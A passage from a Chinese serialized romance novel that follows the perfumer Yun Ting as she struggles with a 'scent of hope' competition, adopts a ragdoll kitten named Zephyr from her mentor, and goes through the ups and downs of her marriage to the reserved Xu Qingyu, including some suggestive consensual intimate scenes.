动作强势精准,洞悉她的每一点软弱与挣扎。压迫感如海浪一般涌来,让她毫无招架之力,只能被动地承受着他的侵占,心跳快得几乎要炸开。 到最后,云听实在受不了,只能用尽全力在他的肩膀上咬了一口,来发泄不满。 “嗯——”她脑海中乍然回想起徐清聿因为吃痛,低沉的闷哼声,透着几分克制的喑哑。 她咬得很重,牙都在发酸。 “还看?”徐清聿低沉的嗓音打断她的思绪。 云听噎住:“我…我才没有…” 徐清聿没有多说,淡然地挑了挑眉,然后慢条斯理地挽起袖子,露出手臂上一道道明显的抓痕。 他居高临下地望着她:“不舒服可以喊出来。” 云听目光飘忽不定地落在别处,装作没听见。她听见他又开口:“第二次了。” “第二次?”云听疑惑,“什么叫第二次?” 徐清聿拿起桌上的水杯,喝了一口,过了半分钟才不紧不慢地答非所问:“下次注意点,牙齿再用力一点,我可能会见血。” 云听:“……” * 云听侧卧着,背对徐清聿。 被窝里,她的手紧紧攥着衣服,额头冒出虚汗,正在经历着挣脱不开的梦境。 徐清聿睡眠一贯很浅。他侧躺在云听身后,闭着眼,呼吸平稳,表面看似沉睡,但身体的每一根神经都保持本能的敏锐。 身旁的人轻轻动了动,发出一声极轻的呜咽。 徐清聿睁开眼,伸出手触碰她的肩膀,低声唤道:“云听?” 云听没有回应,陷在自己的梦中。 梦里,她站在一个陌生又熟悉的场景里。 阳光明媚,微风拂过,树影斑驳间,她看见云闻站在不远处。 云闻穿着一袭粉色 的连衣裙,背对着她,长发被风吹起,美好到令人驻足痴望。 站在她面前的,是徐清聿。 “他是我的。”云闻看到她,转过头来,“你不会抢走他,对吧?” 云听张了张嘴,可声带发不出声音。 痛苦和纠结让她几近窒息,她不知道自己该如何面对云闻,更不知道该如何面对徐清聿。 可是…… 梦中的画面一转,一切变得混乱起来。云闻的笑容渐渐模糊,变成一张冷漠又失望的脸,像是在责备她,又像是在远离她。 四周的光线暗了下来,取而代之的是无边的黑暗,压得她即将喘不过气来。 “对…对不起…”云听终于发出了声音。 徐清聿听到她梦中细微的呓语,眉头蹙起。 “云听。”他拉了拉被子,把她的身体转了过来,搂进怀里,“醒醒。” 云听被他拉回现实,睁开眼睛,眼里还带着一丝未褪的惊恐,但当看到徐清聿时,心里顿时像是找到了主心骨。 熟悉的气息包裹住她,安心感让她一时间忘记了梦中的一切,痴痴地看着他,嘴唇微启,却一言未发。 徐清聿问:“做噩梦了?” 云听怔愣,她没有回答,将脸埋在他的胸口,鼻尖蹭着他的睡衣,吸了一口他专属的味道。 徐清聿抬起手,拍她的背,动作僵硬却温柔:“没事了。” “我……”云听闷闷地开口,“刚才……梦到姐姐……” “嗯?” 云听抬起头,眼眶微红,声音小小的:“姐姐喜欢你……” 徐清聿否认:“云听,别多想。” “我……我是不是抢了她喜欢的人?”云听慌乱地抓紧了他的睡衣,“可是……梦里她很生气,她说我……” “够了。”徐清聿打断她的话,“是梦而已。” “可……” 徐清聿伸手捏住她的下巴,迫使她抬起头看着自己,“云听,我和云闻没有关系。” 徐清聿不知道云听为什么会认为他偏心? 云闻确实是个漂亮又热情的人,从他们初次见面开始,她就用一种过于自然的方式靠近他——递水、问问题、大大咧咧说一些无关紧要的话。 对他而言,这些没有什么特别的意义。 更何况,他本来就是个少言寡语的人。面对云闻难以抵挡的热情,他唯一能做的就是点头回应,偶尔多说两句。 可在云听眼里,这些算是偏心吗? 云听和云闻是完全不同的两个人。 徐清聿之前从不偏袒任何一个人,但云闻的性格注定了她是个需要被关注的人,她总是围着他转,自然而然就多了些对话和接触。 包括他为什么叫云闻“小闻”,也是云闻再三要求的。每次云闻向他要奖励,哪怕云听没说,他也会准备双份,只是因为他不想让云听觉得自己被忽视。 可是,云听不爱和他说话。 他也不了解云听,以前给她们挑的礼物尽量符合那个年纪的审美,可是他从未见云听使用过。 …… 眨眼的工夫,云听已经在他怀里睡着了。 身体软软的,很小只。 她身上有一种清浅又柔软的味道,像极了她的性格。 徐清聿问: “云听,你嫁给我是因为家长的原因?” “还是…你喜欢我?” 云听没有醒,徐清聿搂紧了她,眼里出现少有的恐惧,“云听,如果有什么后果,我会承担。” “我才是那个坏人。”徐清聿低声自语:“我一度觉得生活没什么意思。” 他的声音低沉沙哑,像是在诉说着什么未曾说出口的痛苦,“所有的日子都像是无尽的空白,什么都没有,什么都不值得去追求。” “我很自私。” * 次日,实验室。 云听站在调香台前,面前摆满各种香料瓶:玫瑰、茉莉、香根草、龙涎香。 她抬眼看向窗外,冬日的树枝在寒风中摇曳,阳光虽明亮,可依旧冷得刺骨。 希望之香,该是什么味道? 是像春天的花香般清新明快,还是像夏日海风般热情奔放?抑或是某种更复杂、更深刻的情感? 云听捧着头,无力地靠在椅背上。 曾经,她以为晋级决赛会是一种荣耀,但现在,她却感觉自己被拖入了一场无形的拉锯战。 灵感就是海市蜃楼,远远地在前方晃动,怎么也抓不住。 整个上午,云听翻阅无数书籍和笔记,从过往的调香经验中寻找灵感。 古埃及人用太阳神象征希望,因为每一天的日出都预示着新的开始。在欧洲传统中,风信子和铃兰都被认为是传递希望的花朵。而在现代心理学中,香味可以唤起情感记忆,让人联想到温暖与未来。 她取出茉莉精油、柑橘精油、麝香等经典香料一一尝试调配,但无法找到满意的组合。 用过的试纸堆满桌面,空气中飘着杂乱的香气,既不清新,也不迷人,反而让人感到压抑。 “不行!这样根本没有意义!”云听烦躁地将试纸扫到一旁,双手捂住脸,深吸了一口气。 她只闻到失败的味道。 正当她一筹莫展时,门外传来一阵敲门声。 “小云,是我。” Ethan推门而入,看云听眉间氤氲愁云的模样,在桌前坐下:“小云,“没有头绪很正常。” “你是一位非常出色的调香师,你的鼻子敏锐,手法也足够精湛。平时让你随便设计一款香水,哪怕是复杂的主题,你总能得心应手,甚至超越我的期待。” 云听抬起头,茫然问:“可是为什么这次……我就完全没灵感了呢?” Ethan微微一笑,双手交叠在膝上,耐心地说道:“因为你不是真正没有灵感,而是你的思维被比赛限制住了。这个主题——‘希望之香’,放在平时,你肯定能想到很多有趣的创意。可一旦和比赛挂钩,你的心里便出现了障碍。” “障碍?” Ethan点点头,目光温和却犀利:“对,你是一个很特别的孩子。你不争不抢,安于自己的小世界。调香对你来说,更像是一个抒发情感的过程,而不是一种竞争的手段。比赛、排名、胜负,这些对你来说并不重要。甚至,我敢说,你是不想竞争的,对吗?” “师傅,我……”云听有些语塞,低头看着自己的手指,片刻后才小声道:“或许您说得对。名气、地位,这些东西对我来说真的无所谓。我喜欢调香,只是因为它让我觉得幸福。我可以通过香气,记录生活中那些温暖的瞬间,而不是用它来证明自己比别人强……” Ethan:“小云,这次比赛,对你来说,不仅仅是为了拿个名次。” 云听疑惑:“那是为了什么?” “‘希望之香’的主题,本身就不只是一个单纯的创意。希望,不只是个人的愿望,它可以代表一类人,一种情感,一种在人生低谷中,依然追逐光明的力量。” Ethan站起身,缓步走到窗前:“我年轻时经历过一场地震。 “当时我的工作室被毁,我甚至想过要放弃调香。可我永远记得,有一天,一位女士找到我。” “她说,她希望我能帮她调一款香水。那是一种她已故丈夫最喜欢的味道,她想用它来纪念他,支撑她继续生活。” Ethan顿了顿,感慨道:“小云,你和我一样,从小生活在温室里。对我们来说,人生中最大的‘不顺’,莫过于离家求学时的孤独感,或者学业和工作的压力。” “所以,当我们听到‘希望’这个词时,脑海中浮现的,永远是那些美好的东西——阳光、花香、未来的可能性。我们所理解的希望,总是充满了诗意。” 云听低头沉思,手指摩挲着桌上的一张试纸,消化Ethan的话。 Ethan话锋 一转,继续道:“但你有没有想过,对这个世界上的许多人来说,希望的意义完全不同?” “他们的希望,不是诗,也不是奢望,而是最简单、最朴素的东西。能填饱肚子是一种希望,有地方遮风避雨是一种希望,甚至,能看到明天的太阳,对他们来说就是希望。” Ethan侧目看窗外摇曳的光秃秃的枝条,叹了一口气,“我曾经遇到过一个病人,她失去所有的味觉和嗅觉。可她却恳求我为她调制一款香水。” “我问她为什么,她说,即便闻不到,但只要这瓶香水摆在她的床边,它就能让她觉得活着还有意义。” “那一刻,我才明白,香气不仅是用来取悦人的,更是一种载体。它能承载记忆、传递情感,甚至成为一种信念。” “我为她调制的香水,不只是帮助了她一个人,而是让我明白了调香师的意义:我们并不是单纯的创作者,而是情感的桥梁,是一种希望的化身。” “所以,小云,”Ethan转过身,“这次的‘希望之香’,不是为了评委,不是为了观众,也不是为了你自己。它应该代表那些需要希望的人。那些在困境中看不到出口的人,闻到这一缕香气时,会不会觉得生活还有美好,觉得可以重新开始?” * 下班时,Ethan邀请云听就餐。 云听不愿让师傅付钱,她连忙摆摆手:“师傅,您已经帮了我这么多,哪能再让您破费?今晚我请吧,就当是感谢您。” Ethan没有拒绝,只是笑了笑:“那好,随你。不过,我挑地方。” 云听点点头,随后拿起手机,编辑一条消息给徐清聿:“晚上不回家吃饭了,我和师傅一起。” 消息发出去后,徐清聿没有回复。 云听知道他在忙,经常不看手机,便也没再放在心上,把手机塞进包里,跟着Ethan出了门。 Ethan挑了一家幽静的小餐馆,装修复古。 进屋前,他没头没尾说了一句:“小云,你现在的一个决定就能给别人带去生的希望。” 云听:“?” Ethan笑而不语。 导致云听坐下后,翻着菜单,总觉得师傅话里有话,心里有点没放开,吃饭时也有些心不在焉。 Ethan看出她的心思,笑着安慰道:“别多想。有时候放下手头的工作,换一种环境,也许灵感就会自己跑过来。” 云听被点破了心思,不好意思地笑了笑,端起茶杯掩饰道:“师傅,您说得对,我也想放松放松。” 吃完饭,她正准备结账,Ethan抢先一步,把账单签了。她无奈地摇摇头:“师傅,说好我请的。” Ethan神秘道:“你要是真想谢我,接下来还有更重要的事呢。” “更重要的事?什么?” Ethan没有直接回答:“等会儿你就知道了。” 他带云听来到一个老旧的小区。 这里的路灯昏暗,楼道里的墙壁斑驳,显然已经有些年头了。 云听跟在他身后,忍不住问道:“师傅,您带我来这里干什么?” Ethan领着她上了五楼,掏出钥匙打开一扇破旧的防盗门。 门内的光线昏黄,云听一进门,就看见一只毛茸茸的小脑袋从沙发后面探了出来,毛发柔软得像云朵,白中带着淡淡的奶油色接着,紧接着,三只一模一样的布偶猫迈着优雅的步伐走了出来,朝Ethan围了过去。 云听低头,愣住:“师傅,这……这就是您养的猫?” Ethan低头抚摸猫咪柔软的毛发,一脸宠溺:“是啊,这是我的四个宝贝,软软,绒绒,蹦蹦,乖乖,平时就藏在这里,它们可不能让我老婆发现。” 他看着云听笑,语气认真起来:“小云,你知道为什么今天带你来看它们吗?” 云听疑惑地摇摇头:“为什么?” Ethan抱起一只布偶猫,猫咪柔软的毛发贴在他的脸颊,他侧过头狠狠吸了一口,说道:“它们的妈妈最近又生了一窝,现在只剩下一只没人愿意养。我想着,这只小猫如果没人要,就只能送去宠物店了。我问过不少人,可大家都嫌小猫难养。小云,你要不要试试?” 云听问:“我?可是师傅,为什么您不多养一只呢?” Ethan无奈:“你也看到了,我现在能养这四只已经很勉强了,它们还时不时打一架,你看,软软头上少了几根毛,被绒绒抓的。我平常来看它们都得偷偷摸摸,万一被你师母发现,那就麻烦了。” 云听根本分不清哪只是绒绒,哪只是软软,更找不到哪只猫头上少了几根毛,她忍不住笑:“师傅,您也太怕师母了。” “家里要平衡嘛,有些事不能强求。” 云听注视着那几只布偶猫,柔软的毛发,水灵灵的蓝眼睛,像极了温暖的绒团。 她犹豫了一会儿,问道:“师傅,养一只猫会不会太麻烦?而且,徐清聿平时很注重生活的整洁和规律……他大概率是不喜欢猫的。” Ethan直接把小猫从房间里抱了出来。 布偶蜷缩在他的怀里,看到陌生人,它怯生生地抬起头。 云听将手伸向它,它蹭了蹭她的手指。 它长得很漂亮,和徐清聿一样漂亮。 Ethan把猫放进她的怀里,柔软的毛团依偎在她怀里,立马发出舒服的呼噜声。 “小云,你就不会撒撒娇,跟你家那位好好商量一下?你老公啊,铁定会答应的。” 云听被他说得脸一热:“师傅,撒娇好像也不管用。” Ethan嗤笑:“男人嘛,就算再倔,也不至于连媳妇的撒娇都挡得住。你平时是怎么跟他沟通的?” “不怎么沟通。” 做。爱时,沟通会多一些。 “信我,这招对男人百试百灵。你就装作很喜欢这只小猫的样子,说什么‘它没地方去了,你忍心看它受苦吗’,然后再多黏他一点,什么抱抱呀,拉拉袖子呀,准行。” 云听哭笑不得:“师傅,您这么老练,难道以前经常用这招对付师母?” Ethan咳了一声,有些不自然地摸了摸鼻子:“咳咳,少打听。不过,你要是真想带它回家,就得放下平时的架子,多展现一下自己的软弱。男人心软的时候,最容易答应事情。” 云听抿了抿唇,低头看着怀里的小猫,小家伙正迷迷糊糊地睁开眼,奶声奶气地叫了一声。 “好吧,我试试。”她点头答应,但还是补了一句,“要是他真的不同意,师傅我还是还您吧。” Ethan拍拍云听肩膀,安慰:“没事,真不行,你还可以再把它送回来,我帮你养着。不过,我赌他一定会心软的。” 布偶又闭上眼睛,粉色的小鼻子轻微地翕动,睡梦中伸出一只小爪子,抓住了云听的手指。 云听脑海中忽然蹦出了一个词——“Zephyr”。 西风。 她记得,这是“Zephyr”中文意思。 可奇怪的是,她不记得自己是什么时候学过这个词的。 大概是在某本书里看到的吧?还是小时候谁跟她提到过?但更深刻的印象,来源于她的梦。 西风裹挟着凉意,从远方吹来,掠过山川河流,卷起落叶翻飞,也带来隐隐的肃杀之感。 许多人不喜欢它,说它冷,说它太过张扬,总是带走温暖,催促着季节步入萧索的深秋。 在文学和日常生活中,西风更多被用来象征秋季,带着清冷、成熟或离别的意境。 但云听喜欢。 英国 诗人雪莱在《西风颂》中将西风描绘为秋天的信使,既带来肃杀之气,又孕育新生的希望。 西风,既是毁灭者,又是重生者。 云听喜欢这首诗。 喜欢西风。 喜欢这条新的小生命。 云听拿起手机,想给徐清聿发条消息,先问问他的态度。 她才刚打了一行字,Ethan就伸手把她的手机按了下去:“别问,直接带回去。” “师傅,可他不一定喜欢猫,我觉得还是先跟他说一声比较好。” Ethan挑了挑眉:“小云啊,你师傅我混到今天这个地步,可不是靠事事都提前请示得来的。尤其是这种事,先斩后奏比先问好用多了。” “可这样……会不会显得我有点不尊重他?” “傻丫头,这又不是大事,你们是夫妻,生活中难免会有突发状况。再说了,养猫又不是永远的麻烦,而是多了一种陪伴。他说不喜欢猫,可能只是还没接触过罢了。” 云听心中仍然纠结于是否应该直接把猫带回去,Ethan轻咳了一声,打破她的思绪。 “你脖子后面……” 云听刚才吃饭时把头发扎起了,今天穿的这件衣服刚好露出了脖部后侧的那一块。 徐清聿昨晚新种的。 “啊,师傅你……”云听用手遮挡吻痕,“这个没什么,您别在意。” Ethan意味深长道:“你总说徐清聿不喜欢你,可能他只是没和你更亲密接触过,一旦他和你接触多了,他一定会很爱你。” 云听听得云里雾里。 师傅果真能说会道,差点她就信了。 这么巧舌如簧的一个人怎么会说服不了师母? 等云听后知后觉时,她已经拎着猫包、猫粮、猫砂在门口了。 云听戳了戳猫包,“Zephyr,你要靠自己让你爸爸喜欢你,知道不?” 第26章 第二十六章 “今天要…吗?”…… 云听抱着猫, 站在家门外,长长地吐出一口气。 接下来,她要面对的, 恐怕是一场棘手的“谈判”。 徐清聿爱整洁,原则性强,从不轻易退让。而“养猫”这件在她看来是微不足道的小事,在他眼里, 大概是不可理喻的越界。 门锁轻响,云听推门而入。 客厅的灯还亮着,暖白的光洒在四周。徐清聿身影映在墙上,他显然还没休息。 他站在沙发旁,手里端着一杯水, 似乎准备喝完再回房间。 开门声吸引了他的注意,他抬眸,语气平平地打了个招呼:“回来了。” 云听将怀里的小猫往身后一藏,脸上强撑一抹僵硬勉强的笑:“嗯。” 徐清聿的目光在她身上停留,略带审视的神情让云听心里咯噔一下。 他问:“你藏了什么?” 云听深吸一口气, 知道自己瞒不过去了。 她将小猫从身后抱到身前,小声解释:“是一只猫……有只猫生了一窝小猫,就剩下它了,没人要……” 布偶睁开懒洋洋的眼睛, 打了个呵欠,然后冲着徐清聿轻轻“喵”了一声, 仿佛在自我介绍,软弱的毫无攻击性。 徐清聿拧眉,放下杯子:“你打算带回来养?” 云听本就打算先发制人,此刻更是硬着头皮上:“徐清聿…我们能不能养一只猫?就这一只, 很乖的。” 没等她说完,徐清聿打断:“不行。” 云听早有心理准备,还是被他的果断噎了一下,早有准备的说辞被堵在喉咙里。 “为什么?” “我不喜欢猫,嫌脏。”徐清聿说,“毛发乱飞,弄得家里到处都是,不麻烦吗?” 小猫听不懂。 它的尾巴不停地拍打云听的手背,很是惬意。 师傅说向徐清聿撒娇。 可她做不到。 她不是没想过,可她实在做不来。 那种对他撒娇的姿态,她会觉得别扭,也不符合他们之间一贯的相处模式。 再说,徐清聿未必吃撒娇这一套。 万一他觉得自己撒娇起来太做作、太恶心,岂不是适得其反? 徐清聿看出她的挣扎:“云听,猫不能养在家里,别给自己找麻烦。” 云听**眉毛;“好吧…” 她是真的想留下小猫,但又觉得徐清聿说得也有道理。 她最近的生活乱成一团。调香比赛迫在眉睫,她迟迟找不到灵感。 师傅对她寄予厚望,可她连一瓶像样的香水都拿不出来。更别提,她和徐清聿之间的关系若即若离,让她总有一种独自漂浮的无依感。 云听伸手挠了挠小猫的下巴,小家伙舒服得眯起了眼睛,喉咙里发出细细的咕噜声。 她走了几步,将猫放在沙发上,用围巾给它当坐垫,这样就不会在沙发上留下猫毛。 小猫乖巧地蜷缩起来,听话地躺着,不给她添麻烦。 云听伸手摸了摸它的小脑袋,声音很丧:“我没办法留下你。” “我明天送你回家。” 徐清聿看到云听一下又一下抚摸猫的背,颓然的模样让他愣了一秒。 画面静得出奇,他的心脏被什么敲了一下。 忽然觉得喉咙有点紧。 云听低头,失魂落魄,像个被人夺走了糖果的孩子,满脸写着失落和无助。 她的眼神没有朝他投来一分,彻底认定他不会让步,只是低声喃喃:“徐清聿…没关系的,你不用勉强,我只是……想试一试,你不能接受,我明天还给我师傅就行…” 徐清聿敛了敛眼中的不忍,很快,情绪收敛地滴水不漏,他妥协说:“养就算了,但不能养在房间里。” 云听抬起头,眼中闪过惊喜,但没敢表现得太明显,弱声问:“真的可以吗?” “客厅或者阳台。”徐清聿补充,“不要进卧室。” 云听知道,他已经让步了。 她知道这是他能够退让的极限,但又觉得还可以争取更多。她继续试探:“那它不能睡在房间吗?它很乖的,不会乱跑……” “不行。”徐清聿声线淡如水,“云听,我不喜欢。” 云听抱紧怀里的小猫:“好吧。” 革命尚未成功,走一步算一步吧。 徐清聿转身走进房间,关上门,没再回头。 关上房门的那一刻,烦躁的情绪涌现。 他靠在门边,手里还握已经见底的玻璃杯,透过杯壁,能看到底部残留一层浅浅的水渍。 这是他今天喝的第几杯水了? 徐清聿自己也记不清了。 每次倒满一杯,喝干,盯着门口,希望听到云听开门的动静,然而,每一次,他听到的只有钟表的滴答声。 她师傅是谁?是男是女? 结婚了没有? 吃饭的时候除了他们两个人,还有谁在场? 这些问题让他心烦意乱。 他几次想拿起手机发消息给她,但刚刚伸出去的手又硬生生收了回来。 徐清聿想起白天和心理医生的对话- “你说你想尝试去爱她,但你现在的状态更像是想控制她。”- “不是我想控制她,是她根本不知道怎么跟人保持距离,”- “你是觉得她太过随意,还是你自己对她缺乏信任?” 徐清聿哑然。 “Xu,爱是需要空间的。如果你连她和谁吃饭都要在意,那你所谓的‘爱’可能只是占有欲。” 占有欲……徐清聿咀嚼着这三个字,脸上的冷意更浓。 他不是没想过这些问题,但每一次都无法避免地陷入另一种更深的矛盾中:他想试着靠近她,却又控制不住自己的嫉妒和不安。 这一切来源于喜欢?还是归咎于占有欲? 徐清聿抬手揉了揉眉心。 见云听还不进来,他站起身,走到房门边拉开门,看她在做什么。 刚打开门,就看到云听的身影。 她坐在沙发边,弯着腰,聚精会神地给小猫布置一个小窝。 沙发边的一角被她清理得干干净净,铺上了一条柔软的毛毯。旁边还摆着一只小小的碗,里面放了些水。 小猫窝在毛毯中央,舒服地打着哈欠。 “你爸爸不喜欢你,”云听一边整理小窝,一边低声念叨,“你就乖乖在外面睡吧,不能打扰他休息,知道吗?” 小猫听懂了她的话,用软软的小爪子挠了挠毛毯,“喵”了一声,算是回答。 “你 爸爸喜欢你的,他就是面冷心热,不要记恨他。” 徐清聿靠在门框上,静默许久,才开口:“云听。” 云听手上的动作顿住,怕徐清聿出尔反尔,她谨慎问:“徐…徐清聿…你怎么出来了?我明天就给它买一个小窝…” 徐清聿没有回答,目光落在精心布置的简易小窝,又扫了一眼窝里的小猫,神色复杂。过了三秒,他再次妥协:“仅这一次。” 云听愚钝,扑闪两下睫毛,慢半拍问:“你是说…可以让它进房间?” 徐清聿别开脸,冷淡地叮嘱一句:“小心点,别弄得满床都是毛。” 云听扬起笑容,迅速将小猫抱起来,生怕他下一秒又改变主意:“谢谢!” 进房间后,她没有把小猫放在床中间,而是把它安置在最右边的角落。 云听铺了一块柔软的小毯子,又摆了一个枕头挡住床边,防止小猫睡着掉下去。 “你就睡这里吧。”她压低声音自言自语,“你爸爸果然面冷心热。看上去很凶,其实人挺好的。你一定要乖,不要闹腾啊,不然他肯定会后悔。” 小猫懒洋洋地眯着眼睛,对新环境很满意,打了个呼噜就睡了过去。 云听忍俊不禁,拿起睡衣走进浴室。 她买的衣服阿姨已经细心地清洗、烘干、折叠好了。 洗完澡后,她换上宽松的睡衣,吹干头发,推开浴室的门。 徐清聿躺在床上,漂亮的眼睛低垂,睫毛投下淡淡的阴影。 旁边还有一只漂亮的布偶。 云听知道他生得好看,但每次不经意间看到他安静的模样,心底还是会生出一种怦然心动的感觉。 就在这时,旁边的小猫翻了个身,毛茸茸的脑袋往毯子里拱了拱。 徐清聿低头扫一眼猫,没什么表情,手指在屏幕上滑动一下,又将注意力重新放回手机上。 冷淡中带着几分随意的样子,让云听觉得他和猫极为相似——都很漂亮,都很高贵。 云听咬了咬嘴唇,脑子里乱七八糟地想着,不知怎么鼓起勇气,脱口而出:“徐清聿…今天……要做吗?” 徐清聿目光从手机上移开,眼神幽深,有点儿意外和探究。 云听故作镇定,怕徐清聿没有听清:“要做吗?” 徐清聿没有立刻回答,将手机随手放在一旁的桌子上,身体稍微往后靠,懒洋洋地盯着她看了几秒。 云听的呼吸慢了下来。 “你刚才说什么?” “我……”云听说,“我问你,今天要做吗?” 徐清聿站起身,走到她面前。云听往后退了一步,但被他的手按住肩膀,逼得停下了动作。 他低头靠近她,声音低哑得像一股慢慢渗入耳朵的酒:“要做。” … 云听坐在徐清聿的腿上,双手搭在他的肩膀。 手指慢慢移到自己的睡衣领口,握住第一颗扣子。 她挣扎了一下,指尖发抖,心里懊悔不已:她为什么会买这种带扣子的睡衣?当时明明可以选一个普通的套头款,现在让她有种一步步把自己送上“战场”的羞耻感。 扣子被解开时发出的细微声响,在静谧的空间里显得无比清晰。 解开第一颗扣子,她咬紧牙关,感觉像是死了一次。 云听暗暗叫苦,耳根已经烧得通红,却又不得不继续。 第二颗扣子滑开。 解到第三颗时,她停下动作,手指僵在扣子上。 徐清聿面无表情,沉稳和冷静让云听更有种说不出的羞赧。 她咬唇,继续往下解第四颗扣子。 徐清聿嫌她慢,问:“还要多久?” 云听结巴:“马上,我…你、你…别看。” 徐清聿笑。 云听慌张无比问:“徐清聿…可以关灯吗?” “为什么?” “怕猫看到……” “它看到又能怎样?” “小猫的记忆力很好…看到不该看的东西,万一留下阴影怎么办?” “它是只猫,云听。” “好、好吧。” 云听垂下眼睫,脸颊烧得火红,手指不知道放哪。 她身上的睡衣已经被解开,露出大片雪白的皮肤,过敏的痕迹已经微乎其微,取而代之的是数不清的吻痕。 徐清聿深邃的目光里藏了一片深海,泛着看不透的暗光。 他的喉结滚动了一下,沉静如水的表情裂开缝隙,伸手将云听拉入怀中,禁锢在臂弯里。 “徐清聿……”她刚刚喊出他的名字,徐清聿的唇覆了上来。 … 云听躺在床上,被徐清聿压在身下。 灯光柔和,洒在她泛红的脸颊上,她的指尖抓紧两侧的床单,戒指冒着银色的光。 小猫一开始蜷在床边最右侧的柔软毯子里熟睡,可随着两人的“运动”越来越激烈,它睁开眼睛,圆溜溜的大眼睛闪闪发亮,对眼前的一切充满好奇。 云听无意间一转头,就对上了那双水汪汪的猫眼。她僵了一下,脸上的温度瞬间攀到了极点,羞得恨不得钻进地缝里。 “它……”她刚想开口,却因为徐清聿一个用力的动作而猛地哼出一声,话音全然变了调,“唔…慢、慢点。” “专心点。”徐清聿咬住她的耳朵。 “可是……”云听努力稳住颤抖的声音,眼神还是飘向小猫的方向。 小猫已经不再安分,慢悠悠地爬到更近的地方,睁着好奇的眼睛一眨不眨地盯着他们,毛茸茸的小脑袋歪了歪,看起来天真又无辜。 云听觉得自己的心脏快要从嗓子眼跳出来了,羞耻感要将她吞没。 “它在看……” 她带着些许哭腔小声抗议了一句。 徐清聿瞥了瞥猫,没停下,嗓音低哑:“它又不懂。” “不、不行……”云听扭动身子试图挣脱,反而让两人的动作更近一步。 “呼。”徐清聿眸色深沉,扣住她的腰,压得更紧了些:“云听,专心点。” 云听停止挣扎,整个人像被浸泡在红色的热浪里,羞得一句话都说不出来。 她把头埋进徐清聿的肩膀间,不敢咬他,只能紧紧咬自己的唇,不出声。 * 云听靠着小猫睡得很安稳。 她把小猫抱在怀里,小小的毛团子安静得像一片柔软的云,偶尔会动一下耳朵,发出细小的呼吸声,让她心都化了。 第二天早上。 云听迷迷糊糊地睁开眼睛,刚醒时有些愣神,直到意识逐渐清醒,她才注意到自己身下的触感不对劲。 不是小猫毛茸茸的身体,也不是床的柔软触感,而是一个温暖而结实的胸膛。 太阳穴猛地一跳。 小猫睡在她旁边,乖巧地蜷成一团,可她自己,已经躺在徐清聿的怀里。 云听清楚记得,昨晚她是和小猫睡在一起的,她特意把小猫安置在离自己很近的位置,给徐清聿留出大半边床。 可现在……为什么她又跑到徐清聿的怀里? 而且昨天早上,她也是从他的怀中醒来的。 徐清聿的脸埋在她的颈窝处,温热的气息拂过她的颈侧,痒痒的。 云听动了一下,从他的怀里挣脱。 可是他手臂的力量很大,就算是在睡梦中也牢牢环住她的腰,让她动弹不得。 云听尽量放轻动作,慢慢把他的手移开。 她的指尖刚触碰到他的手腕,就感觉到他的手臂不断收紧,直接把她又往怀里带了一点。 “……”云听屏住呼吸,再一次一点点地挪动。 好在这一次,他没有反应。她终于成功地脱离了他的怀抱。 云听蹑手蹑脚去卫生间洗漱。 刷牙时,她突然想起养猫还有许多讲究,尤其是才刚离开猫妈妈的小猫。 想到昨晚师傅交代的养猫注意事项,她决定问问周阿姨。 洗漱完成后,她抱起猫走进厨房,正好看到周阿姨在准备早餐。 今天是西式早餐。 “阿姨,你会养猫吗?” 周阿姨注意到她怀里的小猫:“小太太,这猫是你养的?真可爱啊!我不太懂,但我女儿养过,我平时帮她看猫,所以会一点。” “那太好了!阿姨,这只小猫还小,师傅说它需要用 低钠的猫粮,水也要用净水器过滤过的……对了,猫砂盆要放在通风的地方,不能让它吃太油的东西。还有,它刚来家里几天可能不太适应,会有点紧张,所以最好给它一个安静的环境……” 云听絮絮叨叨地说了一大堆,都是昨晚师傅特意叮嘱她的注意事项。 周阿姨一边听一边点头:“小太太你对这猫也真有心,放心吧,这些我记住了,会好好照顾它的。” “谢谢阿姨!”云听感激地笑了笑,等周阿姨做完早餐,她把小猫递给她,让它熟悉一下周阿姨的气息。 就在她们说话的时候,徐清聿从房间走出来,在餐桌前坐下 云听心虚地低下头,继续和周阿姨聊起养猫的事情。 周阿姨问:“小太太,这小猫叫什么名字啊?” “Zephyr。” 此话一出,徐清聿动作一顿,端起茶杯的手停在了半空中。 他眉头轻蹙,重复:“Zephyr?” 心细的云听听出了其中隐藏的情绪波动。 云听:“嗯。” 徐清聿:“为什么给它取这个名字?” 云听被问得一愣,侧目见他神色严肃,不禁有些疑惑:“没有为什么啊……只是我做梦的时候,梦到过这个名字,觉得好听,就用了。” “梦到的?” 云听点头,认真地解释道:“是啊,那个梦很模糊,我也记不清具体内容了,但这个名字很清楚,就像……像刻在我脑子里一样。我觉得挺特别的。” 徐清聿闻言,薄唇抿起,他说:“寓意不好。” “不好吗?我觉得挺好的。” 餐桌上的两人一言不发。 徐清聿的刀叉碰触瓷盘,切开盘中的法式煎蛋,配上培根和吐司,优雅地用餐。 云听不知为何没有胃口,叉子戳了戳煎蛋的边缘。蛋黄被戳破后缓缓流淌出来,晕染在洁白的盘底。 白天的徐清聿总戴一副冷漠的面具,眼神淡淡,惜字如金。 可一到晚上……就完全是另一个模样了。 夜色降临,他会脱掉高冷的外壳。 在床上的时候坏得让人咬牙切齿,他会在她耳边低声呢喃,语气饱含侵略性。 他压在她耳边低语时的声音,似笑非笑的眼神,还有让她无处可逃的炙热怀抱,色。情的过分。 云听拿起叉子切下一小块吐司,对面的徐清聿察觉到什么:“怎么不吃?” “没事,我吃。” “下次,我让阿姨做中式。” “嗯,好的。” “周日,回家一趟。” “好,好的。” 第27章 第二十七章 远离徐清聿,是不可能的…… ——生活在温室里的花朵, 终究无法描摹出真实的生命。 ——希望,不一定都是灿烂的,也可能是从灰烬中生出的, 或者从深渊里探出的。只有经历过不同的希望,你才能找到真正属于自己的答案。 云听吃完早餐,背上双肩包,走出自己习惯的安全区。 走之前, Zephyr依依不舍朝她叫了喵喵两声 ,云听忍不住和她玩了一会儿。 两小时后。 她裹紧厚重的羊毛大衣,沿着城市边缘的街道走向她从未踏足过的破败街区。 街道两旁的建筑破旧不堪,墙壁上的漆皮被时间刮去了一层又一层,露出里面的灰砖与石块, 风雪在其上留下了斑驳的痕迹。 房屋的窗户上挂着污迹斑斑的塑料布,有些干脆空洞洞地敞开着,透出冷冽的寒风和无声的寂寥。 几只野猫躲在破裂的水泥路旁的木箱里,警惕地注视着过往行人。它们瘦弱而懒散,尾巴懒懒地甩着, 偶尔发出几声低哑的喵呜声。 路人行色匆匆,都无意于多看一眼。 云听脚步逐渐慢了下来。 她停在一处被雪水冲刷得泥泞不堪的拐角处,闭上眼,屏蔽掉其他感官, 